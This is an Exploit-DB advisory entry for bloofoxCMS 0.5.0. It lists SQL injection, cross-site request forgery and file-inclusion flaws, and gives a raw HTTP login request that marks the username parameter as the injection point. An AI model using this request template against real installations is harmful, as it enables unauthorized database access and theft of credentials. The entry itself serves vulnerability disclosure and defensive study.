bloofoxCMS /bloofox/admin/index.php username Parameter SQL Injection

ID EDB-ID:39030
Type exploitdb
Reporter AtT4CKxT3rR0r1ST
Modified 2014-01-17T00:00:00


bloofoxCMS /bloofox/admin/index.php username Parameter SQL Injection. Webapps exploit for php platform

bloofoxCMS is prone to the following security vulnerabilities:
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 


POST /bloofox/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/admin/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

action=login&password=IPHOBOS&username=\[SQL INJECTION]